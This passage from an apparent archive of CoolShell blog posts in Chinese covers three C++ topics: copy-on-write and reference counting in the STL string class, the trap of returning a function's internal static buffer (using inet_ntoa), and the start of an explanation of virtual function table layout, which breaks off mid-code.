</p>\n<p>使用别的类的数据时，无非有两种情况，1）以别的类构造自己，2）以别的类赋值。第一种情况时会触发拷贝构造函数，第二种情况会触发赋值操作符。这两种情况我们都可以在类中实现其对应的方法。对于第一种情况，只需要在string类的拷贝构造函数中做点处理，让其引用计数累加；同样，对于第二种情况，只需要重载string类的赋值操作符，同样在其中加上一点处理。</p>\n<p>唠叨几句：</p>\n<p><strong>1）构造和赋值的差别</strong></p>\n<p>对于前面那个例程中的这两句：</p>\n<pre class=\"EnlighterJSRAW\">string str1 = \"hello world\";\n\nstring str2 = str1;</pre>\n<p>不要以为有“=”就是赋值操作，其实，这两条语句等价于：</p>\n<pre class=\"EnlighterJSRAW\">string str1 (\"hello world\");   //调用的是构造函数\n\nstring str2 (str1);            //调用的是拷贝构造函数</pre>\n<p>如果str2是下面的这样情况：</p>\n<pre class=\"EnlighterJSRAW\">string str2;      //调用参数默认为空串的构造函数：string str2(“”);\n\nstr2 = str1;     //调用str2的赋值操作：str2.operator=(str1);</pre>\n<p><strong>2) 另一种情况</strong></p>\n<pre class=\"EnlighterJSRAW\">char tmp[]=”hello world”;\n\nstring str1 = tmp;\n\nstring str2 = tmp;</pre>\n<p>这种情况下会触发内存的共享吗？想当然的，应该要共享。可是根据我们前面所说的共享内存的情况，两个string类的声明和初始语句并不符合我前述的两种情况，所以其并不发生内存共享。而且，C++现有特性也无法让我们做到对这种情况进行类的内存共享。</p>\n<h4>string类在什么情况下触发写时才拷贝（Copy-On-Write）?</h4>\n<p>哦，什么时候会发现写时才拷贝？很显然，当然是在共享同一块内存的类发生内容改变时，才会发生Copy-On-Write。比如string类的[]、=、+=、+、操作符赋值，还有一些string类中诸如insert、replace、append等成员函数,包括类的析构时。</p>\n<p>修改数据才会触发Copy-On-Write，不修改当然就不会改啦。这就是托延战术的真谛，非到要做的时候才去做。</p>\n<h4>Copy-On-Write时，发生了什么？</h4>\n<p>我们可能根据那个访问计数来决定是否需要拷贝，参看下面的代码：</p>\n<pre class=\"EnlighterJSRAW\">If  ( RefCnt&gt;0 ) {\n    char* tmp =  (char*) malloc(strlen(_Ptr)+1);\n    strcpy(tmp, _Ptr);\n    _Ptr = tmp;\n}</pre>\n<p> </p>\n<p>上面的代码是一个假想的拷贝方法，如果有别的类在引用（检查引用计数来获知）这块内存，那么就需要把更改类进行“拷贝”这个动作。</p>\n<p>我们可以把这个拷的运行封装成一个函数，供那些改变内容的成员函数使用。</p>\n<h4>Copy-On-Write的具体实现是怎么样的？</h4>\n<p>最后的这个问题，我们主要解决的是那个“民主集中”的难题。请先看下面的代码：</p>\n<pre class=\"EnlighterJSRAW\">string h1 = “hello”;\nstring h2= h1;\nstring h3;\nh3 = h2;\n \nstring w1 = “world”;\nstring w2(“”);\nw2=w1;</pre>\n<p>很明显，我们要让h1、h2、h3共享同一块内存，让w1、w2共享同一块内存。因为，在h1、h2、h3中，我们要维护一个引用计数，在w1、w2中我们又要维护一个引用计数。</p>\n<p>如何使用一个巧妙的方法产生这两个引用计数呢？我们想到了string类的内存是在堆上动态分配的，既然共享内存的各个类指向的是同一个内存区，我们为什么不在这块区上多分配一点空间来存放这个引用计数呢？这样一来，所有共享一块内存区的类都有同样的一个引用计数，而这个变量的地址既然是在共享区上的，那么所有共享这块内存的类都可以访问到，也就知道这块内存的引用者有多少了。</p>\n<p>请看下图：</p>\n<p><img alt=\"o_string\" class=\"aligncenter size-full wp-image-12200\" height=\"138\" src=\"../wp-content/uploads/2014/12/o_string.jpg\" width=\"409\"/></p>\n<p>于是，有了这样一个机制，每当我们为<span lang=\"EN\">string</span>分配内存时，我们总是要多分配一个空间用来存放这个引用计数的值，只要发生拷贝构造可是赋值时，这个内存的值就会加一。而在内容修改时，<span lang=\"EN\">string</span>类为查看这个引用计数是否为<span lang=\"EN\">0</span>，如果不为零，表示有人在共享这块内存，那么自己需要先做一份拷贝，然后把引用计数减去一，再把数据拷贝过来。下面的几个程序片段说明了这两个动作：</p>\n<pre class=\"EnlighterJSRAW\">//构造函数（分存内存）\n    string::string(const char* tmp)\n{\n    _Len = strlen(tmp);\n    _Ptr = new char[_Len+1+1];\n    strcpy( _Ptr, tmp );\n    _Ptr[_Len+1]=0;  // 设置引用计数  \n}\n \n//拷贝构造（共享内存）\n    string::string(const string&amp; str)\n    {\n         if (*this != str){\n              this-&gt;_Ptr = str.c_str();   //共享内存\n              this-&gt;_Len = str.szie();\n              this-&gt;_Ptr[_Len+1] ++;  //引用计数加一\n         }\n}\n \n//写时才拷贝Copy-On-Write\nchar&amp; string::operator[](unsigned int idx)\n{\n    if (idx &gt; _Len || _Ptr == 0 ) {\n         static char nullchar = 0;\nreturn nullchar;\n          }\n   \n_Ptr[_Len+1]--;   //引用计数减一\n    char* tmp = new char[_Len+1+1];\n    strncpy( tmp, _Ptr, _Len+1);\n    _Ptr = tmp;\n    _Ptr[_Len+1]=0; // 设置新的共享内存的引用计数\n   \n    return _Ptr[idx];\n}\n\n//析构函数的一些处理\n~string()\n{ \n_Ptr[_Len+1]--;   //引用计数减一\n   \n         // 引用计数为0时，释放内存 \n    if (_Ptr[_Len+1]==0) {\n        delete[] _Ptr;\n         }\n \n}</pre>\n<p>哈哈，整个技术细节完全浮出水面。</p>\n<p> </p>\n<p>不过，这和STL中basic_string的实现细节还有一点点差别，在你打开STL的源码时，你会发现其取引用计数是通过这样的访问：_Ptr[-1]，标准库中，把这个引用计数的内存分配在了前面（我给出来的代码是把引用计数分配以了后面，这很不好），分配在前的好处是当string的长度扩展时，只需要在后面扩展其内存，而不需要移动引用计数的内存存放位置，这又节省了一点时间。</p>\n<p>STL中的string的内存结构就像我前面画的那个图一样，_Ptr指着是数据区，而RefCnt则在_Ptr-1 或是_Ptr[-1]处。</p>\n<h4>副作用</h4>\n<p>是谁说的“有太阳的地方就会有黑暗”？或许我们中的许多人都很迷信标准的东西，认为其是久经考验，不可能出错的。呵呵，千万不要有这种迷信，因为任何设计再好，编码再好的代码在某一特定的情况下都会有Bug，STL同样如此，string类的这个共享内存/写时才拷贝技术也不例外，而且这个Bug或许还会让你的整个程序crash掉！</p>\n<p>不信？！那么让我们来看一个测试案例。假设有一个动态链接库（叫myNet.dll或myNet.so）中有这样一个函数返回的是string类：</p>\n<pre class=\"EnlighterJSRAW\">string GetIPAddress(string hostname)\n{\n    static string ip;\n    ……\n    ……\n    return ip;\n}</pre>\n<p>而你的主程序中动态地载入这个动态链接库，并调用其中的这个函数：</p>\n<pre class=\"EnlighterJSRAW\">main()\n{\n    //载入动态链接库中的函数\n    hDll = LoadLibraray(…..);\n    pFun =  GetModule(hDll, “GetIPAddress”);\n     \n    //调用动态链接库中的函数\n    string ip = (*pFun)(“host1”);\n    ……\n    ……\n    //释放动态链接库\n    FreeLibrary(hDll);\n    ……\n    cout &lt;&lt; ip &lt;&lt; endl;\n}</pre>\n<p>让我们来看看这段代码，程序以动态方式载入动态链接库中的函数，然后以函数指针的方式调用动态链接库中的函数，并把返回值放在一个string类中，然后释放了这个动态链接库。释放后，输入ip的内容。</p>\n<p>根据函数的定义，我们知道函数是“值返回”的，所以，函数返回时，一定会调用拷贝构造函数，又根据string类的内存共享机制，在主程序中变量ip是和函数内部的那个静态string变量共享内存（这块内存区是在动态链接库的地址空间的）。而我们假设在整个主程序中都没有对ip的值进行修改过。那么在当主程序释放了动态链接库后，那个共享的内存区也随之释放。所以，以后对ip的访问，必然做造成内存地址访问非法，造成程序crash。即使你在以后没有使用到ip这个变量，那么在主程序退出时也会发生内存访问异常，因为程序退出时，ip会析构，在析构时就会发生内存访问异常。</p>\n<p>内存访问异常，意味着两件事：1）无论你的程序再漂亮，都会因为这个错误变得暗淡无光，你的声誉也会因为这个错误受到损失。2）未来的一段时间，你会被这个系统级错误所煎熬（在C++世界中，找到并排除这种内存错误并不是一件容易的事情）。这是C/C++程序员永远的心头之痛，千里之堤，溃于蚁穴。而如果你不清楚string类的这种特征，在成千上万行代码中找这样一个内存异常，简直就是一场噩梦。</p>\n<p>备注：要改正上述的Bug，有很多种方法，这里提供一种仅供参考：</p>\n<p><code class=\"EnlighterJSRAW\">string ip = (*pFun)(“host1”).cstr();</code></p>\n<h4>后记</h4>\n<p> </p>\n<p>文章到这里也应该结束了，这篇文章的主要有以下几个目的：</p>\n<p>1）向大家介绍一下写时才拷贝/内存共享这种技术。<br/>\n2）以STL中的string类为例，向大家介绍了一种设计模式。<br/>\n3）在C++世界中，无论你的设计怎么精巧，代码怎么稳固，都难以照顾到所有的情况。智能指针更是一个典型的例子，无论你怎么设计，都会有非常严重的BUG。<br/>\n4）C++是一把双刃剑，只有了解了原理，你才能更好的使用C++。否则，必将引火烧身。如果你在设计和使用类库时有一种“玩C++就像玩火，必须千万小心”的感觉，那么你就入门了，等你能把这股“火”控制的得心应手时，那才是学成了。</p>\n<p><strong>更新：在最新的STL中，这个特性已经被去掉了。有一个原因是线程不安全！COW其实还是比较危险的。</strong></p>\n<p>（全文完）</p>\n<p> <!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3806.html\"><img alt=\"Google图片搜索下的的C String\" height=\"150\" src=\"../wp-content/uploads/2011/02/C_String-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3806.html\">Google图片搜索下的的C String</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3036.html\"><img alt=\"面向对象是个骗局？！\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/19.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3036.html\">面向对象是个骗局？！</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/12199.html\">C++ STL string的Copy-On-Write技术</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2006-11-16 C_C++返回内部静态成员的陷阱.html",
    "content": "<html><body><p></p>\n<p align=\"left\">在我们用C/C++开发的过程中，总是有一个问题会给我们带来苦恼。这个问题就是函数内和函数外代码需要通过一块内存来交互（比如，函数返回字符串），这个问题困扰和很多开发人员。如果你的内存是在函数内栈上分配的，那么这个内存会随着函数的返回而被弹栈释放，所以，你一定要返回一块函数外部还有效的内存。</p>\n<p>这是一个让无数人困扰的问题。如果你一不小心，你就很有可能在这个上面犯错误。当然目前有很多解决方法，如果你熟悉一些标准库的话，你可以看到许多各式各样的解决方法。大体来说有下面几种：</p>\n<p>1）在函数内部通过malloc或new在堆上分配内存，然后把这块内存返回（因为在堆上分配的内存是全局可见的）。这样带来的问题就是潜在的内存问题。因为，如果返回出去的内存不释放，那么就是memory Leak。或者是被多次释放，从而造成程序的crash。这两个问题都相当的严重，所以这种设计方法并不推荐。（在一些Windows API中，当你调用了一些API后，你必需也要调用他的某些API来释放这块内存）</p>\n<p>2）让用户传入一块他自己的内存地址，而在函数中把要返回的内存放到这块内存中。这是一个目前普遍使用的方式。很多Windows API函数或是标准C函数都需要你传入一个buffer和这个buffer的长度。这种方式对我们来说应该是屡见不鲜了。这种方式的好处就是由函数外部的程序来维护这块内存，比较简显直观。但问题就是在使用上稍许有些麻烦。不过这种方式把犯错误的机率减到了最低。</p>\n<p>3）第三种方式显得比较另类，他利用了static的特性，static的栈内存一旦分配，那这块内存不会随着函数的返回而释放，而且，它是全局可见的（只要你有这块内存的地址）。所以，有一些函数使用了static的这个特性，即不用使用堆上的内存，也不需要用户传入一个buffer和其长度。从而，使用得自己的函数长得很漂亮，也很容易使用。</p>\n<p>这里，我想对第三个方法进行一些讨论。使用static内存这个方法看似不错，但是它有让你想象不到的陷阱。让我们来用一个实际发生的案例来举一个例子吧。</p>\n<p><span id=\"more-12192\"></span></p>\n<h4><strong>示例</strong></h4>\n<p>有过socket编程经验的人一定知道一个函数叫：inet_ntoa，这个函数主要的功能是把一个数字型的IP地址转成字符串，这个函数的定义是这样的（注意它的返回值）：</p>\n<p align=\"center\"><strong><span style=\"font-size: medium;\">char *inet_ntoa(struct in_addr in);</span></strong></p>\n<p align=\"left\">显然，这个函数不会分配堆上的内存，而他又没有让你传一下字符串的buffer进入，那么他一定使用“返回static char[]”这种方法。在我们继续我们的讨论之前，让我们先了解一下IP地址相关的知识，下面是inet_ntoa这个函数需要传入的参数：（也许你会很奇怪，只有一个member的struct还要放在struct中干什么？这应该是为了程序日后的扩展性的考虑）</p>\n<p><span style=\"font-size: medium;\"><strong>struct in_addr {<br/>\nunsigned long int s_addr;<br/>\n}<br/>\n</strong><br/>\n</span>对于IPV4来说，一个IP地址由四个8位的bit组成，其放在s_addr中，高位在后，这是为了方便网络传输。如果你得到的一个s_addr的整型值是：3776385196。那么，打开你的Windows计算器吧，看看它的二进制是什么？让我们从右到左，8位为一组（如下所示）。</p>\n<p align=\"center\"><span style=\"font-size: medium;\">11100001   00010111    00010000    10101100</span></p>\n<p align=\"left\">再把每一组转成十进制，于是我们就得到：225   23   16   172， 于是IP地址就是 172.16.23.225。</p>\n<p>好了，言归正传。我们有这样一个程序，想记录网络包的源地址和目地地址，于是，我们有如下的代码：</p>\n<p align=\"left\">\n</p><pre class=\"EnlighterJSRAW\">struct in_addr src, des;\n........\n........\nfprintf(fp, \"源IP地址&lt;%s&gt;/t目的IP地址&lt;%s&gt;/n\", inet_ntoa(src),   inet_ntoa(des));</pre>\n<p>会发生什么样的结果呢？你会发现记录到文件中的源IP地址和目的IP地址完全一样。这是什么问题呢？于是你开始调试你的程序，你发现src.s_addr和des.s_addr根本不一样（如下所示）。可为什么输出到文件的源和目的都是一样的？难道说是inet_ntoa的bug？</p>\n<pre class=\"EnlighterJSRAW\">src.s_addr = 3776385196;    //对应于172.16.23.225\ndes.s_addr = 1678184620;  //对应于172.16.7.100</pre>\n<p>原因就是inet_ntoa()“自作聪明”地把内部的static char[]返回了，而我们的程序正是踩中了这个陷阱。让我们来分析一下fprintf代码。在我们fprintf时，编译器先计算inet_ntoa(des)，于是其返回一个字符串的地址，然后程序再去求inet_ntoa(src)表达式，又得到一个字符串的地址。这两个字符串的地址都是inet_ntoa()中那个static char[]，显然是同一个地址，而第二次求src的IP时，这个值的des的IP地址内容必将被src的IP覆盖。所以，这两个表达式的字符串内存都是一样的了，此时，程序会调用fprintf把这两个字符串（其实是一个）输出到文件。所以，得到相同的结果也就不奇怪。</p>\n<p>仔细看一下inet_ntoa的man，我们可以看到这句话：<strong>The string is returned in a statically allocated buffer,  which  subsequent calls will overwrite.</strong> 证实了我们的分析。</p>\n<h4><strong>小结</strong></h4>\n<p>让我们大家都扪心自问一下，我们在写程序的过程当中是否使用了这种方法？这是一个比较危险，容易出错的方法。这种陷阱让人防不胜防。想想，如果你有这样的程序：</p>\n<p>if ( strcmp( inet_ntoa(ip1), inet_ntoa(ip2) )==0 ) {<br/>\n…. ….<br/>\n}</p>\n<p>本想判断一下两个IP地址是否一样，却不料掉入了那个陷阱——让这个条件表达式永真。</p>\n<p>这个事情告诉我们下面几个道理：</p>\n<p>1）慎用这种方式的设计。返回函数内部的static内存有很大的陷阱。<br/>\n2）如果一定要使用这种方式的话。你就必须严肃地告诉所有使用这个函数的人，千万不要在一个表达式中多次使用这个函数。而且，还要告诉他们，不copy函数返回的内存的内容，而只是保存返回的内存地址或是引用是没用的。不然的话，后果概不负责。<br/>\n3）C/C++是很危险的世界，如果你不清楚他的话。还是回火星去吧。</p>\n<p>附：看过Efftive C++的朋友一定知道其中有一个条款（item 23）：不要试图返回对象的引用。这个条款中也对是否返回函数内部的static变量进行了讨论。结果也是持否定态度的。</p>\n<p>(全文完)<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12012.html\"><img alt=\"State Threads 回调终结者\" height=\"150\" src=\"../wp-content/uploads/2014/10/edsm-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12012.html\">State Threads 回调终结者</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11466.html\"><img alt=\"C语言的整型溢出问题\" height=\"150\" src=\"../wp-content/uploads/2014/04/c99-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11466.html\">C语言的整型溢出问题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/12192.html\">C/C++返回内部静态成员的陷阱</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2007-12-18 C++ 虚函数表解析.html",
    "content": "<html><body><p>C++中的虚函数的作用主要是实现了多态的机制。关于多态，简而言之就是用父类型别的指针指向其子类的实例，然后通过父类的指针调用实际子类的成员函数。这种技术可以让父类的指针有“多种形态”，这是一种泛型技术。所谓泛型技术，说白了就是试图使用不变的代码来实现可变的算法。比如：模板技术，RTTI技术，虚函数技术，要么是试图做到在编译时决议，要么试图做到运行时决议。</p>\n<p>关于虚函数的使用方法，我在这里不做过多的阐述。大家可以看看相关的C++的书籍。在这篇文章中，我只想从虚函数的实现机制上面为大家 一个清晰的剖析。</p>\n<p>当然，相同的文章在网上也出现过一些了，但我总感觉这些文章不是很容易阅读，大段大段的代码，没有图片，没有详细的说明，没有比较，没有举一反三。不利于学习和阅读，所以这是我想写下这篇文章的原因。也希望大家多给我提意见。</p>\n<p>言归正传，让我们一起进入虚函数的世界。</p>\n<h4>虚函数表</h4>\n<p>对C++ 了解的人都应该知道虚函数（Virtual Function）是通过一张虚函数表（Virtual Table）来实现的。简称为V-Table。在这个表中，主是要一个类的虚函数的地址表，这张表解决了继承、覆盖的问题，保证其容真实反应实际的函数。这样，在有虚函数的类的实例中这个表被分配在了这个实例的内存中，所以，当我们用父类的指针来操作一个子类的时候，这张虚函数表就显得由为重要了，它就像一个地图一样，指明了实际所应该调用的函数。</p>\n<p>这里我们着重看一下这张虚函数表。C++的编译器应该是保证虚函数表的指针存在于对象实例中最前面的位置（这是为了保证取到虚函数表的有最高的性能——如果有多层继承或是多重继承的情况下）。 这意味着我们通过对象实例的地址得到这张虚函数表，然后就可以遍历其中函数指针，并调用相应的函数。</p>\n<p>听我扯了那么多，我可以感觉出来你现在可能比以前更加晕头转向了。 没关系，下面就是实际的例子，相信聪明的你一看就明白了。</p>\n<p><span id=\"more-12165\"></span></p>\n<p>假设我们有这样的一个类：</p>\n<pre class=\"EnlighterJSRAW\">class Base {\n     public:\n            virtual void f() { cout &lt;&lt; \"Base::f\" &lt;&lt; endl; }\n            virtual void g() { cout &lt;&lt; \"Base::g\" &lt;&lt; endl; }\n            virtual void h() { cout &lt;&lt; \"Base::h\" &lt;&lt; endl; }\n\n};</pre>\n<p>按照上面的说法，我们可以通过Base的实例来得到虚函数表。 下面是实际例程：</p>\n<pre class=\"EnlighterJSRAW\">typedef void(*Fun)(void);\n\nBase b;\n\nFun pFun = NULL;\n\ncout &lt;&lt; \"虚函数表地址：\" &lt;&lt; (int*)(&amp;b) &lt;&lt; endl;\ncout &lt;&lt; \"虚函数表 — 第一个函数地址：\" &lt;&lt; (int*)*(int*)(&amp;b) &lt;&lt; endl;\n\n// Invoke the first virtual function\npFun = (Fun)*((int*)*(int*)(&amp;b));\npFun();</pre>\n<p>实际运行经果如下：(Windows XP+VS2003, Linux 2.6.22 + GCC 4.1.3)</p>\n<p style=\"padding-left: 30px;\">虚函数表地址：0012FED4<br/>\n虚函数表 — 第一个函数地址：0044F148<br/>\nBase::f</p>\n<p>通过这个示例，我们可以看到，我们可以通过强行把&amp;b转成int *，取得虚函数表的地址，然后，再次取址就可以得到第一个虚函数的地址了，也就是Base::f()，这在上面的程序中得到了验证（把int* 强制转成了函数指针）。通过这个示例，我们就可以知道如果要调用Base::g()和Base::h()，其代码如下：</p>\n<pre class=\"EnlighterJSRAW\">(Fun)*((int*)*(int*)(&amp;b)+0);  // Base::f()\n(Fun)*((int*)*(int*)(&amp;b)+1);  // Base::g()\n(Fun)*((int*)*(int*)(&amp;b)+2);  // Base::h()</pre>\n<p>这个时候你应该懂了吧。什么？还是有点晕。也是，这样的代码看着太乱了。没问题，让我画个图解释一下。如下所示：</p>\n<p><img alt=\"01\" class=\"aligncenter size-full wp-image-12166\" height=\"129\" src=\"../wp-content/uploads/2014/12/01.jpg\" width=\"331\"/></p>\n<p>注意：在上面这个图中，我在虚函数表的最后多加了一个结点，这是虚函数表的结束结点，就像字符串的结束符“/0”一样，其标志了虚函数表的结束。这个结束标志的值在不同的编译器下是不同的。在WinXP+VS2003下，这个值是NULL。而在Ubuntu 7.10 + Linux 2.6.22 + GCC 4.1.3下，这个值是如果1，表示还有下一个虚函数表，如果值是0，表示是最后一个虚函数表。</p>\n<p>下面，我将分别说明“无覆盖”和“有覆盖”时的虚函数表的样子。没有覆盖父类的虚函数是毫无意义的。我之所以要讲述没有覆盖的情况，主要目的是为了给一个对比。在比较之下，我们可以更加清楚地知道其内部的具体实现。</p>\n<h4>一般继承（无虚函数覆盖）</h4>\n<p>下面，再让我们来看看继承时的虚函数表是什么样的。假设有如下所示的一个继承关系：</p>\n<p><img alt=\"02\" class=\"aligncenter size-full wp-image-12167\" height=\"194\" src=\"../wp-content/uploads/2014/12/02.jpg\" width=\"78\"/></p>\n<p>请注意，在这个继承关系中，子类没有重载任何父类的函数。那么，在派生类的实例中，其虚函数表如下所示：</p>\n<p>对于实例：Derive d; 的虚函数表如下：</p>\n<p><img alt=\"03\" class=\"aligncenter size-full wp-image-12168\" height=\"124\" src=\"../wp-content/uploads/2014/12/03.jpg\" width=\"551\"/></p>\n<p>我们可以看到下面几点：<br/>\n1）虚函数按照其声明顺序放于表中。<br/>\n2）父类的虚函数在子类的虚函数前面。</p>\n<p>我相信聪明的你一定可以参考前面的那个程序，来编写一段程序来验证。</p>\n<h4>一般继承（有虚函数覆盖）</h4>\n<p>覆盖父类的虚函数是很显然的事情，不然，虚函数就变得毫无意义。下面，我们来看一下，如果子类中有虚函数重载了父类的虚函数，会是一个什么样子？假设，我们有下面这样的一个继承关系。</p>\n<p><img alt=\"04\" class=\"aligncenter size-full wp-image-12169\" height=\"194\" src=\"../wp-content/uploads/2014/12/04.jpg\" width=\"78\"/></p>\n<p>为了让大家看到被继承过后的效果，在这个类的设计中，我只覆盖了父类的一个函数：f()。那么，对于派生类的实例，其虚函数表会是下面的一个样子：</p>\n<p><img alt=\"05\" class=\"aligncenter size-full wp-image-12170\" height=\"124\" src=\"../wp-content/uploads/2014/12/05.jpg\" width=\"500\"/></p>\n<p>我们从表中可以看到下面几点，<br/>\n1）覆盖的f()函数被放到了虚表中原来父类虚函数的位置。<br/>\n2）没有被覆盖的函数依旧。</p>\n<p>这样，我们就可以看到对于下面这样的程序，</p>\n<pre class=\"EnlighterJSRAW\">Base *b = new Derive();\n\nb-&gt;f();</pre>\n<p>由b所指的内存中的虚函数表的f()的位置已经被Derive::f()函数地址所取代，于是在实际调用发生时，是Derive::f()被调用了。这就实现了多态。</p>\n<h4>多重继承（无虚函数覆盖）</h4>\n<p>下面，再让我们来看看多重继承中的情况，假设有下面这样一个类的继承关系。注意：子类并没有覆盖父类的函数。</p>\n<p><img alt=\"06\" class=\"aligncenter size-full wp-image-12171\" height=\"192\" src=\"../wp-content/uploads/2014/12/06.jpg\" width=\"282\"/></p>\n<p>对于子类实例中的虚函数表，是下面这个样子：</p>\n<p><img alt=\"07\" class=\"aligncenter size-full wp-image-12172\" height=\"173\" src=\"../wp-content/uploads/2014/12/07.jpg\" width=\"493\"/></p>\n<p>我们可以看到：<br/>\n1） 每个父类都有自己的虚表。<br/>\n2） 子类的成员函数被放到了第一个父类的表中。（所谓的第一个父类是按照声明顺序来判断的）</p>\n<p>这样做就是为了解决不同的父类类型的指针指向同一个子类实例，而能够调用到实际的函数。</p>\n<h4>多重继承（有虚函数覆盖）</h4>\n<p>下面我们再来看看，如果发生虚函数覆盖的情况。</p>\n<p><img alt=\"08\" class=\"aligncenter size-full wp-image-12173\" height=\"192\" src=\"../wp-content/uploads/2014/12/08.jpg\" width=\"282\"/></p>\n<p>下图中，我们在子类中覆盖了父类的f()函数。</p>\n<p><img alt=\"09\" class=\"aligncenter size-full wp-image-12174\" height=\"173\" src=\"../wp-content/uploads/2014/12/09.jpg\" width=\"420\"/></p>\n<p>下面是对于子类实例中的虚函数表的图：</p>\n<p>我们可以看见，三个父类虚函数表中的f()的位置被替换成了子类的函数指针。这样，我们就可以任一静态类型的父类来指向子类，并调用子类的f()了。如：</p>\n<pre class=\"EnlighterJSRAW\">Derive d;\nBase1 *b1 = &amp;d;\nBase2 *b2 = &amp;d;\nBase3 *b3 = &amp;d;\nb1-&gt;f(); //Derive::f()\nb2-&gt;f(); //Derive::f()\nb3-&gt;f(); //Derive::f()\n\nb1-&gt;g(); //Base1::g()\nb2-&gt;g(); //Base2::g()\nb3-&gt;g(); 